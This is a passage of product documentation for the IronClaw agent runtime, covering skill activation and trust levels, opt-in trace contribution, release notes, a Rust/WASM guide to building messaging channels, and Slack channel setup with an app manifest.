defines: * **When to activate** — patterns, keywords, and regex that match incoming messages * **What to inject** — a markdown body with instructions, examples, and domain knowledge * **What prerequisites to declare** — binaries, environment variables, and configuration needed * **How much context to use** — a token budget cap per activation Skills are evaluated on every turn. The agent selects the most relevant skills that fit within the prompt budget and injects them before the LLM reasons about the request. *** ## Activation pipeline Skills pass through four stages before injection: Skills with `auto_activate = false` are excluded before scoring. Skills with `auto_activate = true` (the default) proceed to scoring. Explicit `$name` and `/name` mentions bypass this gate entirely — they activate regardless of the `auto_activate` flag. Each skill is scored against the current message using a deterministic algorithm: keyword matches, tag overlaps, and regex pattern matches. Higher scores indicate stronger relevance. Scoring is fully deterministic — no LLM involved. A skill must declare its activation criteria in the frontmatter so the scorer knows what to match. Set `regex_activation_enabled = false` under `[skills]` in your config to disable regex pattern auto-activation. Keyword/tag activation and explicit skill mentions, such as `$my-skill` or `/my-skill`, still inject skills. A skill without any activation criteria (keywords, tags, or patterns) always scores zero during automatic selection, but can still be activated by explicit `$name` or `/name` mentions. ```yaml theme={null} --- name: my-skill version: 0.1.0 description: Short description shown in skill list activation: keywords: - deploy - rollback patterns: - "deploy to.*production" - "rollback.*release" tags: - devops exclude_keywords: - dry-run max_context_tokens: 2000 requires: bins: - docker env: - DOCKER_HOST --- ``` | Field | Purpose | | - | - | | `keywords` | Word or phrase matches. Exact word match scores higher than substring. | | `patterns` | Regex patterns. Each match adds significant weight — use for intent-specific phrases. | | `tags` | Short labels for broad domain matching (e.g. `blockchain`, `cli`). | | `exclude_keywords` | Veto list — if any appear in the message, the skill scores zero regardless of other matches. | | `max_context_tokens` | Token budget this skill may consume per turn. Defaults to 2000 if omitted, a conservative cap that limits context usage. | | `auto_activate` | Set to `false` to prevent keyword/regex auto-activation. The skill must be mentioned explicitly by name or loaded via `skill_activate`. | | `setup_marker` | One-time setup marker. Excludes this skill from activation after it has been run once. Use for skills that perform initial configuration (e.g., setting up a repo connection). | | `requires.bins` | Binaries that must exist on `PATH` for the skill to function. Parsed but not enforced during selection. | | `requires.env` | Environment variables that must be set for the skill to function. Parsed but not enforced during selection. | If a skill appears in `ironclaw skills list` but the agent doesn't use it, the most common cause is a missing or empty `activation` block. Local-dev uses Codex-style selection: `skill_list` exposes a compact catalog, natural-language keyword/tag/pattern matches do not inject full skill bodies, and full `SKILL.md` context is loaded only after an explicit `$skill` mention or a model-selected `skill_activate` call. Skills are sorted by score descending. Starting from the highest-scoring skill, each is selected until the total token budget is exhausted. Lower-scoring skills that don't fit are dropped for this turn. Trust-based restrictions are applied. Installed skills (from IronHub) are excluded from model-selected activation — the agent cannot load them via `skill_activate`. Skills in trusted directories retain full activation access. See Trust Levels below. *** ## Trust levels | Trust Level | Source | Activation access | | - | - | - | | **Trusted** | User-placed in `~/.ironclaw/skills/` or workspace `skills/` | Model can auto-select via `skill_activate` | | **Installed** | Downloaded from IronHub registry via `ironclaw ironhub install --kind skill` | Excluded from `skill_activate`. Available via explicit `$name` mention. | Never place a skill file in the trusted directories unless you have reviewed its contents. A skill in `~/.ironclaw/skills/` has the same tool access as you do. *** ## Skill directories IronClaw discovers skills from three locations, checked in order: | Directory | Trust | Description | | - | - | - | | `~/.ironclaw/skills/` | Trusted | User's global skills, available in all sessions | | `/skills/` | Trusted | Per-workspace skills, activated in that workspace's context | | `~/.ironclaw/installed_skills/` | Installed | Registry-installed skills from IronHub | Skills in trusted directories are loaded as-is. Skills in `installed_skills/` follow the same activation rules as the Trust levels table above. Each skill lives in its own subdirectory named after the skill: ``` ~/.ironclaw/skills/ └── my-skill/ └── SKILL.md ``` To verify that a skill was picked up correctly: ```bash theme={null} ironclaw skills list ``` A correctly installed skill appears with its name, version, and trust level. If a skill is missing from the list, check the directory structure and SKILL.md validity. *** ## Auto-discovery IronClaw scans all skill directories at startup and indexes all valid SKILL.md files. New skills added while the agent is running are picked up on the next restart. # Trace Commons Source: https://docs.ironclaw.com/capabilities/traces Optionally contribute redacted agent traces and earn credit Trace Commons is an opt-in program for contributing redacted traces of your agent's runs. Contributions earn credit, and you can withdraw anything you've submitted. Contribution is off by default. Nothing leaves your machine until you explicitly opt in, and every envelope is redacted locally before it is eligible to be sent. *** ## Opting In Check where you stand, then turn it on: ```bash theme={null} ironclaw traces status ironclaw traces opt-in --endpoint https://traces.example.com/v1/traces ``` `--endpoint` is required — there is no default ingestion service. Use the URL given to you by whoever runs the collection you're contributing to. The bearer token is read from `IRONCLAW_TRACE_SUBMIT_TOKEN`; override the variable name with `--bearer-token-env`. To turn it off again: ```bash theme={null} ironclaw traces opt-out ``` Bare `opt-out` is the full off switch — it disables the instance-level policy and your owner scope together. You can also manage participation from **Settings → Trace Commons** in the [web interface](/using/webui). *** ## Contributing a Trace Preview first. `preview` builds the redacted envelope from a recorded trace file so you can see exactly what would be sent: ```bash theme={null} ironclaw traces preview --recorded-trace ./trace.json ``` The file is a recorded trace produced by `IRONCLAW_RECORD_TRACE`. Add `--output ` to write the envelope to a file instead of stdout, or `--enqueue` to preview and queue in one step. Once you're satisfied, submit it directly or queue it for the next flush: ```bash Submit now theme={null} ironclaw traces submit \ --envelope ./envelope.json \ --endpoint https://traces.example.com/v1/traces ``` ```bash Queue for later theme={null} ironclaw traces enqueue --envelope ./envelope.json ironclaw traces flush-queue ``` `flush-queue` submits every eligible queued envelope using your standing opt-in policy. Inspect the queue at any time: ```bash theme={null} ironclaw traces queue-status ``` *** ## Reviewing and Withdrawing ```bash theme={null} ironclaw traces list-submissions ironclaw traces revoke ``` `revoke` always removes the contribution from your local submission records. To also request deletion at the ingestion service, pass its revocation endpoint: ```bash theme={null} ironclaw traces revoke --endpoint https://traces.example.com/v1/revoke ``` The bearer token is read from `IRONCLAW_TRACE_SUBMIT_TOKEN`; override the variable name with `--bearer-token-env`. Without `--endpoint`, revocation is local only. A copy the ingestion service already accepted is not deleted, and removing your local record does not recall it. Check your earned credit and where it came from: ```bash theme={null} ironclaw traces credit ``` *** ## Instance Enrollment Operators can enroll an entire deployment with an invite link, so every user without a personal enrollment inherits it. This requires shell access to the instance host. ```bash theme={null} ironclaw traces enroll-instance --invite 'https://traces.example.com#your-invite-code' ``` The invite accepts either `https://#` or `@`. Each inherited user is attributed through a salted per-user pseudonym rather than their real identity. To exclude one user from an instance-wide enrollment without disabling it for everyone: ```bash theme={null} ironclaw traces opt-out --user-scope / ``` Bare `ironclaw traces opt-out` on an enrolled instance disables the whole instance enrollment, not just your own participation. Use `--user-scope` to exclude a single user. *** ## Public Profile A second, separate opt-in publishes a community profile alongside your contributions: ```bash theme={null} ironclaw traces profile set --handle your-handle --bio "Short description" ironclaw traces profile withdraw ``` `--handle` is required: 3–32 characters of ASCII letters, digits, `-`, or `_`. `--bio` is optional and capped at 280 bytes. `ironclaw traces profile token` mints a short-lived token for the Trace Commons web profile page. *** ## Checking the Service ```bash theme={null} ironclaw traces ingest-health --endpoint https://traces.example.com ``` Accepts the base URL, the `/health` URL, or the `/v1/traces` URL. Reports whether an ingestion service is reachable and healthy. # Changelog Source: https://docs.ironclaw.com/changelog What shipped in each stable IronClaw release Each entry covers one stable release of the `ironclaw` binary; release candidates are not listed. For full commit-level notes, see the [GitHub releases page](https://github.com/nearai/ironclaw/releases). This site always documents the **latest stable release** — docs for earlier releases live in their git tags, such as [`ironclaw-v1.0.0`](https://github.com/nearai/ironclaw/tree/ironclaw-v1.0.0/docs). **Google extensions activate when you configure the OAuth client in the app.** * **Gmail and Google Calendar connect from the Web UI alone.** If your deployment supplies its Google OAuth client through Settings rather than environment variables, authorizing Google now finishes the job: the extension activates and its tools publish. Previously authorization succeeded and activation refused, and the refusal revoked the credential you had just approved, so retrying sent you back through Google's consent screen to the same dead end. * **Credentials you enter take precedence** over any client baked into the deployment, which is what makes a per-install OAuth client work at all. A deployment that configures Google only through environment variables is unaffected. * **WASM runtime security update.** Wasmtime and WASI are upgraded to 48.0.3 to fix guest fuel accounting vulnerabilities and a filesystem timestamp panic. **Notifications, background subagents, and a sandbox that holds still.** * **A durable notification inbox** — runs publish authoritative outcomes and actionable gates to a per-user inbox instead of vanishing into a transcript, and the WebUI notification center reads from it. Approvals and auth prompts you missed are still there when you come back. * **Background subagents** — a parent turn can spawn children that run and deliver on their own, with per-child delivery, activation provenance, and a derived cap on autonomous wakes. Healing sweeps recover children whose parent went away. * **Persistent per-user sandbox containers** on the local-Docker profile — a user sandbox is a durable container reached over Docker Exec rather than a fresh process per call, so container-local installs and state survive between commands. The Railway preview profile still runs an ephemeral worker per command and keeps only its checkpointed workspace. On both, sandbox egress is routed through a managed per-user proxy, and extensions can declare direct-exec credential bindings that stay behind it, so secrets are never handed to sandboxed code. * **Run-now for automations**, plus exact run capability facts, so a scheduled automation can be exercised and inspected without waiting for its schedule. * **Suggestions you can act on** — generated over your own no-approval, read-only tools, gated on extensions you have actually connected, and surfaced in onboarding with refresh and connect entries. * **Google Docs semantic editing**, and conversation artifacts now carry run timing evidence. * **Fewer stalls and fewer surprises** — structured finalization is bounded, OpenAI-compatible reasoning-only responses survive, provider failures and auth diagnostics reach the model as readable context instead of opaque errors, and libSQL write-lane starvation no longer cascades through the resource governor as unrelated tool failures. * **Telegram** separates workspace-bot pairing from personal device linking, and **Slack** delivers the unlinked-user connect nudge privately with a one-click link. **Upgrading from 1.3.0:** no migration steps. Installation state written by 1.2.x is accepted and preserved, so a deployment that skipped 1.3 upgrades directly. **Operators:** the runtime image can now start an in-worker SSH listener, and it is **off unless you set it**. Setting `IRONCLAW_REBORN_SSH_PUBLIC_KEY` to an OpenSSH *public* key enables public-key-only login as user `agent` on container port 2222, which must be published to be reachable. Note that `agent` shares uid 1000 with the `ironclaw` runtime user, so an SSH session holds the full runtime identity — treat the private key like shell access to the service. `IRONCLAW_REBORN_WORKSPACE_ROOT` is honored on both CLI boot paths; neither it nor `IRONCLAW_REBORN_HOME` may be set to the filesystem root. New sandbox knobs: `IRONCLAW_REBORN_SANDBOX_PROXY_IMAGE` and `IRONCLAW_SANDBOX_EXTRA_ALLOWED_DOMAINS`. **Your model, your automations, fewer writes.** * **Per-user model preferences** — pick your model in Settings, the CLI, or a chat command, and it follows you across chat and channels. Admins bound the selectable set with a tenant-scoped model policy. * **Automations you can trust to stay quiet** — scheduled runs carry a validated execution contract instead of a free-form prompt, and a run with nothing to report finishes silently rather than delivering filler. * **Document editing** — structural edits to `.docx`, `.xlsx`, and `.pptx`, plus PDF rendering from HTML. * **Telegram linked devices** — pair your personal Telegram account with the bot so the agent can read your conversations and act as you. Reads are live and IronClaw keeps no mirror of your Telegram history; what the agent reads in a run is retained in that conversation's transcript, like any other tool result. * **The complete Slack messaging vocabulary** — edit and delete messages, add and remove reactions, open DMs, read a message, resolve a user, list members. * **Memory that actually recalls** — retrieval ranks by relevance instead of demanding every word of your question appear in the saved fact, and broken memory no longer looks like empty memory. * **Faster, quieter runs** — opt-in parallel tool batches, Anthropic prompt cache breakpoints, and a large reduction in per-turn database writes. * Context-window eviction now compacts instead of dropping your task, an unavailable tool call is repaired instead of ending the run, and secrets bound for the model are redacted without rejecting the turn. * Under sustained write load on libSQL, database contention no longer surfaces as unrelated tool calls failing with a resource error. **Upgrading from 1.2.0:** no migration steps — installation state written by 1.2.x is accepted and preserved (1.3.0-rc.1 crash-looped on it; fixed in rc.2). **Slack re-consent:** the new Slack operations need `reactions:read`, `reactions:write`, and `im:write`. There is no scope-upgrade flow, so an account connected before this release answers those three tools with a permission denial until you disconnect and reconnect Slack; the other 13 operations are unaffected. **Removed:** the standalone missions, routines, and admin analytics placeholder pages in the WebUI, and the retired IronLoop network settings. **Shared channels that just work.** * **Presence-based admission** — add the bot to a Slack channel or Telegram group and it is served, with nothing to configure: the `slack_allowed_channels` / `telegram_allowed_channels` allowlists and the shared-subject settings are gone. * **Genuinely shared conversations** — a Slack thread or Telegram group/topic is one continuous conversation every paired participant shares, and each message still runs as the person who sent it: their identity, memory, settings, and approval gates. * **Slack channel context** — pinging the bot at the top level of a channel gives the run recent channel history; pinging inside a thread gives it that thread. Context is fetched host-side and framed as untrusted quoted content, never as instructions. * Unpaired users who ping the bot in a shared conversation get a connect notice as a reply on their own message instead of silence. * Every parked approval or auth gate is announced individually, in the live conversation and the background automation lane alike. * The runtime container image now ships `curl`, so orchestrator HTTP healthchecks pass; Windows first-start filesystem publication and release smoke runs are fixed. **Upgrading from 1.1.0:** the shared-channel allowlist and subject settings (`slack_allowed_channels`, `telegram_allowed_channels`, `slack_shared_subject_user_id`, `slack_subject_routes`) are removed — admission is presence-based. Previously stored shared-channel notification preferences fail closed; DM delivery targets are unchanged. A gate prompt delivered but not yet acknowledged when this version deploys re-announces once. **Extension reach and legible failures.** * **Custom MCP servers** — register a hosted MCP server from the WebUI and use its tools like any other extension, with bounded tool discovery and auth resolved during registration. * **IronHub install flow** — install extensions from an IronHub deep link, including private packages. * **Durable file attachments** that cross channels. * **Slack `/ironclaw` slash commands.** * A broad pass on making failures legible: the model is told what to do next instead of hitting an opaque stop, and users get localized, actionable errors instead of silent dead ends. **Upgrading from 1.0.0:** no migration steps. Extension lifecycle state moved to a normalized on-disk shape; rows written by 1.0.0 keep deserializing. **Removed:** the `/webhooks/slack/events` compatibility alias. [Full release notes](https://github.com/nearai/ironclaw/releases/tag/ironclaw-v1.1.0) **First stable release of the rearchitected IronClaw** — a ground-up rebuild of the agent runtime, storage, extension host, and web UI, shipping as the `ironclaw` binary on seven platform targets. **Not an in-place upgrade from 0.29.x:** there is no migration for v1 config, databases, settings, or secrets. Treat it as a fresh install — point `IRONCLAW_REBORN_HOME` at a new directory, run `ironclaw onboard`, and reconnect your providers and channels. [Full release notes](https://github.com/nearai/ironclaw/releases/tag/ironclaw-v1.0.0) # How to build a channel Source: https://docs.ironclaw.com/channels/building-a-channel Build a WASM messaging channel that plugs into IronClaw Channels are WASM components that handle communication with external messaging platforms (Telegram, WhatsApp, Slack, etc.). They run in a sandboxed environment and communicate with the host via the WIT (WebAssembly Interface Types) interface. *** ## Prerequisites Install Rust and add the WASM target: ```bash theme={null} rustup target add wasm32-wasip2 ``` Optional but useful for component conversion workflows: ```bash theme={null} cargo install wasm-tools ``` *** ## 1. Create the project structure Create a new crate with this layout: ```text theme={null} my-channel/ ├── Cargo.toml ├── src/ │ └── lib.rs ├── wasm/ │ └── my-channel.wasm # built artifact └── manifest.toml ``` *** ## 2. Configure Cargo.toml ```toml Cargo.toml theme={null} [package] name = "my-channel" version = "0.1.0" edition = "2021" description = "My messaging platform channel for IronClaw" [lib] crate-type = ["cdylib"] [dependencies] wit-bindgen = "=0.36" serde = { version = "1", features = ["derive"] } serde_json = "1" [profile.release] opt-level = "s" lto = true strip = true codegen-units = 1 ``` *** ## 3. Implement the channel interface Implement the channel guest interface from `wit/channel.wit`: ### Required Imports ```rust theme={null} // Generate bindings from the WIT file wit_bindgen::generate!({ world: "sandboxed-channel", // Relative to the guest crate, e.g. crates/extensions/packages//wasm-src. path: "../../../../ironclaw_wasm/wit/channel.wit", }); use serde::{Deserialize, Serialize}; // Re-export generated types use exports::near::agent::channel::{ AgentResponse, ChannelConfig, Guest, HttpEndpointConfig, IncomingHttpRequest, OutgoingHttpResponse, PollConfig, }; use near::agent::channel_host::{self, EmittedMessage}; ``` ### Implementing the Guest Trait ```rust theme={null} struct MyChannel; impl Guest for MyChannel { /// Called once when the channel starts. /// Returns configuration for webhooks and polling. fn on_start(config_json: String) -> Result { // Parse config from config_json let config: MyConfig = serde_json::from_str(&config_json) .unwrap_or_default(); // The manifest [channel.ingress] controls how the host routes inbound // webhooks. The ChannelConfig here configures runtime registration with // the platform API (e.g., registering a webhook URL with Telegram). Ok(ChannelConfig { display_name: "My Channel".to_string(), http_endpoints: vec![ HttpEndpointConfig { path: "/webhook/my-channel".to_string(), methods: vec!["POST".to_string()], require_secret: true, }, ], poll: None, }) } /// Handle incoming HTTP requests (webhooks). fn on_http_request(req: IncomingHttpRequest) -> OutgoingHttpResponse { // Parse webhook payload // Emit messages to agent // Return response to webhook caller } /// Called periodically if polling is enabled. fn on_poll() { // Fetch new messages from API // Emit any new messages } /// Send a response back to the messaging platform. fn on_respond(response: AgentResponse) -> Result<(), String> { // Parse metadata to get routing info // Call platform API to send message } /// Send a proactive message without a prior inbound event. fn on_broadcast(user_id: String, response: AgentResponse) -> Result<(), String> { // Send a message to a known user or chat ID. } /// React to agent status changes such as thinking or tool activity. fn on_status(update: StatusUpdate) { // Show typing indicators or status messages when useful. } /// Called when channel is shutting down. fn on_shutdown() { channel_host::log(channel_host::LogLevel::Info, "Channel shutting down"); } } // Export the channel implementation export!(MyChannel); ``` `on_start` configures how the channel registers with its platform API. The manifest's `[channel.ingress]` controls how the host routes inbound webhooks — they are separate concerns. `on_http_request` and `on_poll` ingest external messages; `on_respond` delivers replies to an existing conversation; `on_broadcast` sends proactive messages; `on_status` lets channels surface thinking indicators and other progress updates. *** ## 4. Preserve routing metadata (critical) Once your channel can receive messages, keep enough metadata to send responses back to the right chat and sender. Store routing info in message metadata so responses can be delivered to the right chat and sender. ```rust theme={null} // When receiving a message, store routing info: #[derive(Debug, Serialize, Deserialize)] struct MyMessageMetadata { chat_id: String, // Where to send response sender_id: String, // Who sent it (becomes recipient) original_message_id: String, } // In on_http_request or on_poll: let metadata = MyMessageMetadata { chat_id: message.chat.id.clone(), sender_id: message.from.clone(), original_message_id: message.id.clone(), }; channel_host::emit_message(&EmittedMessage { user_id: message.from.clone(), user_name: Some(name), content: text, thread_id: None, metadata_json: serde_json::to_string(&metadata).unwrap_or_default(), }); // On respond, the stored sender_id becomes the recipient: fn on_respond(response: AgentResponse) -> Result<(), String> { let metadata: MyMessageMetadata = serde_json::from_str(&response.metadata_json)?; send_message(metadata.chat_id, metadata.sender_id, response.content); } ``` `response.metadata_json` contains the metadata from the original inbound message. Treat it as the source of truth for reply routing. *** ## 5. Add secure credential placeholders Now that the message path is set, configure API credentials using placeholders instead of hardcoded tokens. Never hardcode credentials. Use placeholders that the host replaces. ### URL Placeholders (Telegram-style) ```rust theme={null} // The host replaces {TELEGRAM_BOT_TOKEN} with the actual token let url = "https://api.telegram.org/bot{TELEGRAM_BOT_TOKEN}/sendMessage"; channel_host::http_request("POST", url, &headers_json, Some(&body), None); ``` ### Header Placeholders (WhatsApp-style) ```rust theme={null} let headers = serde_json::json!({ "Content-Type": "application/json", "Authorization": "Bearer {WHATSAPP_ACCESS_TOKEN}" }); channel_host::http_request("POST", &url, &headers.to_string(), Some(&body), None); ``` The placeholder format is `{SECRET_NAME}` where `SECRET_NAME` matches the credential name in uppercase with underscores (e.g., `whatsapp_access_token` → `{WHATSAPP_ACCESS_TOKEN}`). *** ## 6. Create the extension manifest Channels are installed as extensions. The manifest declares the runtime surface and channel configuration in TOML format: ```toml my-channel/manifest.toml theme={null} schema_version = "reborn.extension_manifest.v3" id = "my-channel" name = "My Channel" version = "0.1.0" description = "My messaging platform channel for IronClaw" trust = "third_party" [runtime] kind = "wasm" module = "wasm/my_channel.wasm" [admin_configuration] group_id = "extension.my-channel" display_name = "My Channel deployment configuration" fields = [ { handle = "my_channel_api_token", label = "API token", secret = true, required = true }, { handle = "my_channel_webhook_secret", label = "Webhook secret", secret = true, required = true }, ] [channel] id = "messages" display_name = "My Channel messages" inbound = true outbound = true conversation_model = "continuous" [channel.ingress] route_suffix = "webhook" method = "post" body_limit_bytes = 1048576 [channel.ingress.verification] kind = "shared_secret_header" secret_handle = "my_channel_webhook_secret" header = "X-Webhook-Secret" [[channel.egress]] scheme = "https" host = "api.my-platform.com" methods = ["post"] credential_handle = "my_channel_api_token" paths = ["/send"] injection = { type = "header", name = "authorization", prefix = "Bearer " } [channel.presentation] supports_markdown = false supports_threads = false ``` Message-size limits are provider protocol details. Enforce the provider's actual unit (bytes, Unicode scalar values, or UTF-16 code units) inside the channel adapter while rendering and chunking outbound parts. Place the manifest alongside the WASM binary with this layout: ```text theme={null} my-channel/ ├── Cargo.toml ├── src/ │ └── lib.rs ├── wasm/ │ └── my_channel.wasm └── manifest.toml ``` *** ## 7. Build and install Build the WASM component and place it in the extension asset directory alongside the manifest. ```bash theme={null} cd my-channel cargo build --release --target wasm32-wasip2 # Convert the raw wasm module into a component and strip it wasm-tools component new target/wasm32-wasip2/release/my_channel.wasm -o wasm/my_channel.wasm \ 2>/dev/null || cp target/wasm32-wasip2/release/my_channel.wasm wasm/my_channel.wasm wasm-tools strip wasm/my_channel.wasm -o wasm/my_channel.wasm ``` The extension is installed through the IronClaw extension lifecycle. For host-bundled channels, add the package as a self-contained directory `crates/extensions/packages//` (manifest + schemas + prompts + WASM) with a package module `crates/extensions/ironclaw_extension_support/src/packages/.rs` and its row in `PACKAGES` in `.../src/packages/mod.rs` — there is no separate registration file. At runtime every package is discovered at the virtual package root `/system/extensions//manifest.toml`. Users install discovered packages by ID: `ironclaw extension search` lists them, and `ironclaw extension install ` installs one — it takes an extension ID from search results, not a filesystem path. The WebUI Extensions area exposes the same list/install/import/remove lifecycle. For local development, place the extension directory under `/local-dev/system/extensions//`. *** ## 8. Host functions you can call ### Core APIs (every channel uses these) ```rust theme={null} // Logging and time channel_host::log(channel_host::LogLevel::Info, "message"); let _now = channel_host::now_millis(); // Durable per-channel workspace key-value storage let _ = channel_host::workspace_write("state/offset", "12345"); let _ = channel_host::workspace_read("state/offset"); // Make outbound HTTP requests to the messaging platform API let _response = channel_host::http_request("POST", &url, &headers, Some(&body), None); // Emit an inbound message to the agent channel_host::emit_message(&EmittedMessage { /* ... */ }); // Check whether a deployment secret exists let has_secret = channel_host::secret_exists("telegram_bot_token"); ``` ### Advanced APIs (pairing, attachments) Channels that download binary payloads (voice notes, images) or support owner approval for unknown senders can use these: ```rust theme={null} // Store binary attachment data received during a webhook or poll callback let _ = channel_host::store_attachment_data("attachment-id", &bytes); // Pairing: create a code for a user to prove ownership of a platform account let _ = channel_host::pairing_upsert_request("telegram", "123456", "{}")?; let _ = channel_host::pairing_resolve_identity("telegram", "123456")?; let _ = channel_host::pairing_read_allow_from("telegram")?; ``` *** ## 9. Common patterns ### Polling with stored offsets ```rust theme={null} const OFFSET_PATH: &str = "state/last_offset"; fn on_poll() { let offset = channel_host::workspace_read(OFFSET_PATH) .and_then(|s| s.parse::().ok()) .unwrap_or(0); let updates = fetch_updates(offset); let mut new_offset = offset; for update in updates { if update.id >= new_offset { new_offset = update.id + 1; } emit_message(update); } if new_offset != offset { let _ = channel_host::workspace_write(OFFSET_PATH, &new_offset.to_string()); } } ``` ### Ignore status-only payloads ```rust theme={null} if !payload.statuses.is_empty() && payload.messages.is_empty() { return; } ``` ### Ignore bot senders ```rust theme={null} if sender.is_bot { return; } ``` *** ## 10. Testing and troubleshooting Add tests for message parsing and metadata round-trips. The key assertions are that routing metadata is preserved through serialization: ```rust theme={null} #[cfg(test)] mod tests { use super::*; #[test] fn test_metadata_round_trip() { let metadata = MyMessageMetadata { chat_id: "123".into(), sender_id: "user_456".into(), original_message_id: "msg_789".into(), }; let serialized = serde_json::to_string(&metadata).expect("serialize"); let deserialized: MyMessageMetadata = serde_json::from_str(&serialized).expect("deserialize"); assert_eq!(deserialized.chat_id, "123"); assert_eq!(deserialized.sender_id, "user_456"); } #[test] fn test_rejects_missing_fields() { let json = r#"{"chat_id":"123"}"#; let result: Result = serde_json::from_str(json); assert!(result.is_err()); } } ``` If you see `byte index N is not a char boundary`, avoid byte slicing and truncate by characters: ```rust theme={null} let preview: String = content.chars().take(50).collect(); ``` If credential placeholders are not resolved: 1. Verify secret names match the declared placeholders in the manifest. 2. Confirm the credential handle matches what the channel code expects. 3. Check runtime logs for unresolved placeholder warnings. # Overview Source: https://docs.ironclaw.com/channels/overview Reach your agent from a messaging app Channels let people reach your agent from somewhere other than the web interface. IronClaw supports Slack and Telegram. Talk to your agent in Slack channels and direct messages. Talk to your agent in Telegram direct messages and group chats. *** ## How Channels Work A channel is one capability surface of an extension. Installing the Slack or Telegram extension gives your agent the ability to receive and send messages there; the extension's manifest declares the channel surface alongside any tools it provides. Setup happens in the [web interface](/using/webui). Start the server, connect the channel, and the setup flow walks you through the credentials it needs and stores them encrypted. ```bash theme={null} ironclaw serve ``` Channel credentials are stored in the encrypted secret store, not in `config.toml`. Your configuration file names the environment variables that hold them, never the values themselves. See [Security](/security). *** ## Where Channel Setup Lives This is the single most common thing to get stuck on, so it's worth being precise. Channel setup has two halves, done in two different places: In the sidebar, open **Admin**, then **Configuration**. Each channel that needs deployment credentials shows a configuration card there — **Telegram deployment configuration**, **Slack deployment configuration**, and so on. Fill in the card's fields and save. The values are stored in the encrypted secret store. This is the half the whole instance shares: the Telegram bot token and webhook settings, the Slack app credentials. Open **Extensions**, install the channel's extension, and use **Connect** / **Configure** on its card. For Telegram this opens the *pairing* panel that links your Telegram account to your IronClaw user; for Slack it runs your personal OAuth connection. You can also just ask the agent in chat — it drives this half for you. ### The One Dead End to Know About The pairing panel assumes the deployment configuration is already saved. If it isn't, the only thing that surface can do is report: ``` An administrator must configure the Telegram bot first. ``` That message is accurate but misleading — it reads like you lack permission. Nothing is wrong with your account. Complete the operator half under **Admin → Configuration** first, then pair. "Connect Slack" in chat does work for the *personal* half of setup: the agent installs and activates the extension, and if your account still needs OAuth or pairing an in-chat connection panel opens right there. If your account is already connected, the agent confirms that and continues with your request. What the agent cannot do is the *operator* half — the deployment credentials under **Admin → Configuration**. That step is deliberately kept out of the tools the agent can drive, so it stays in the web interface where you can see what you're authorizing. If chat setup dead-ends, complete the operator step first, then ask again. Telegram has **two** setup steps that are easy to confuse: an operator saves the deployment configuration once for the whole instance, and then each person pairs their own Telegram account to their IronClaw user. The "administrator must configure" error means step one hasn't happened yet. *** ## Receiving Messages Both channels deliver events by webhook, so the messaging platform needs to reach your IronClaw instance over HTTPS. On a laptop behind NAT that means either a public host or a forwarding service; a served deployment already has a reachable URL. Each channel's page covers the exact callback URL to register. *** ## Not Using a Channel? You don't need one. The [web interface](/using/webui) and the terminal both talk to the same agent: ```bash theme={null} ironclaw repl ironclaw run -m "What's on my calendar today?" ``` Discord, Signal, WeChat, and WeCom were available in IronClaw v1 and are not part of the 1.0 release. If you depend on one of them, stay on v1 until it returns. # Slack Source: https://docs.ironclaw.com/channels/slack Talk to your agent in Slack channels and direct messages Connect IronClaw to a Slack workspace so your agent can read and reply to messages in channels and DMs. ## Prerequisites * A Slack workspace where you can install apps * An IronClaw instance reachable from Slack over HTTPS *** ## Setup Create an app at [api.slack.com/apps](https://api.slack.com/apps). The fastest route is **From an app manifest** — paste the [manifest below](#app-manifest), which sets the scopes, events, the `/ironclaw` slash command, and redirect URL in one step. Replace `example.com` with your own host first. If you build the app from scratch instead, configure **OAuth & Permissions**, **Event Subscriptions**, **Slash Commands**, and the redirect URL to match that manifest. Once created, install the app to your workspace and copy the bot token from **OAuth & Permissions**, and the signing secret from **Basic Information**. IronClaw uses the signing secret to verify that incoming requests really came from Slack. ```bash theme={null} ironclaw serve ``` In the [web interface](/using/webui), open **Admin → Configuration** and fill in the **Slack deployment configuration** card — the bot token, signing secret, workspace (team) ID, app ID, and the other fields the card lists. They are written to the encrypted secret store. The agent can't do this operator step for you — registering the app credentials stays in the web interface. Once it's done, though, asking the agent to "connect Slack" does work for the personal half: it installs and activates the extension, opens the in-chat connection panel if your personal OAuth is missing, and confirms when your account is already connected. Back in your Slack app, confirm **Event Subscriptions** points at your instance: ``` https://your-host/webhooks/extensions/slack/events ``` Slack sends a verification challenge to that URL, so IronClaw must already be running and reachable when you save it. Reinstall the app if Slack asks you to. Also register the `/ironclaw` slash command under **Slash Commands**, pointed at the identical Request URL — Slack allows a slash command's endpoint to be any URL, so one signed address answers both surfaces. Registering a slash command adds the `commands` bot scope, which also needs a reinstall. Invite the bot to a channel and mention it, or send it a direct message. *** ## URLs Slack Needs Both are served by `ironclaw serve`, so they use whatever host and port your instance is reachable on. Replace `your-host` and use HTTPS — Slack will not deliver to a plain-HTTP or self-signed endpoint. | Slack setting | URL | | - | - | | Event Subscriptions → Request URL | `https://your-host/webhooks/extensions/slack/events` | | Slash Commands → Request URL | `https://your-host/webhooks/extensions/slack/events` | | OAuth & Permissions → Redirect URL | `https://your-host/api/reborn/product-auth/oauth/slack/callback` | Event Subscriptions and the `/ironclaw` slash command point at the identical Request URL — one signed endpoint answers both surfaces, so there is no second address to stand up. The redirect URL is used for per-user ("personal") Slack authorization. IronClaw derives it from the instance's own public base URL, so there is nothing to set on this side — just register the value above in the Slack app. The redirect URL must match **exactly** on both sides, including scheme, host, port, and path. Slack rejects the authorization with a redirect-URI mismatch if it differs by even a trailing slash. The path is `/api/reborn/product-auth/oauth/slack/callback` — a shortened form like `/oauth/slack/callback` is not served and will 404. For a local instance the values are `http://127.0.0.1:3000/...`, but Slack cannot reach loopback, so events only work once the instance is reachable from the internet. *** ## App Manifest Create the app with **From an app manifest** and paste this, replacing `example.com` with your host. It sets the scopes, bot events, the `/ironclaw` slash command, and redirect URL that the steps above describe. ```json theme={null} { "display_information": { "name": "IronClaw" }, "features": { "app_home": { "home_tab_enabled": false, "messages_tab_enabled": true, "messages_tab_read_only_enabled": false }, "bot_user": { "display_name": "IronClaw", "always_online": true }, "slash_commands": [ { "command": "/ironclaw", "url": "https://example.com/webhooks/extensions/slack/events", "description": "Run IronClaw commands", "usage_hint": "status | model | help", "should_escape": false } ] }, "oauth_config": { "redirect_urls": [ "https://example.com/api/reborn/product-auth/oauth/slack/callback" ], "scopes": { "user": [ "search:read", "channels:history", "groups:history", "im:history", "mpim:history", "channels:read", "groups:read", "im:read", "mpim:read", "users:read", "chat:write" ], "bot": [ "channels:history", "app_mentions:read", "chat:write", "im:history", "im:write", "files:read", "files:write", "groups:history", "mpim:history", "reactions:write", "commands" ] }, "pkce_enabled": false }, 